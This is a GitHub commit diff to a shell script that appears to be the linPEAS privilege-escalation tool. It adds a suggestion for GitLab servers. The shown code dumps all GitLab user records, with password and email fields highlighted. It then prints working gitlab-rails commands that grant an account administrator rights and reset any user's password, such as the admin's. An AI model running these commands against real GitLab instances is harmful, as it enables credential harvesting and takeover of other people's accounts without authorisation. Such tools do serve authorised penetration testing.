Add opsec-safe privesc suggestion for 'gitlab-rails'

This commit is contained in:
Cas van Cooten 2020-12-22 15:59:12 +01:00 committed by GitHub
parent eb33101982
commit ffe6dac82b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -2300,7 +2300,8 @@ if [ "`echo $CHECKS | grep SofI`" ]; then
if [ "`which gitlab-rails`" ]; then
echo "gitlab-rails was found. Trying to dump users..."
gitlab-rails runner 'User.where.not(username: "peasssssssss").each { |u| pp u.attributes }' | sed -E "s,email|password,${C}[1;31m&${C}[0m,"
echo "If you have enough privileges, you can change the password of any user running: gitlab-rails runner 'user = User.find_by(email: \"admin@example.com\"); user.password = \"pass_peass_pass\"; user.password_confirmation = \"pass_peass_pass\"; user.save!'"
echo "If you have enough privileges, you can make an account under your control administrator by running: gitlab-rails runner 'user = User.find_by(email: \"youruser@example.com\"); user.admin = TRUE; user.save!'"
echo "Alternatively, you could change the password of any user by running: gitlab-rails runner 'user = User.find_by(email: \"admin@example.com\"); user.password = \"pass_peass_pass\"; user.password_confirmation = \"pass_peass_pass\"; user.save!'"
echo ""
fi
if [ "`which gitlab-backup`" ]; then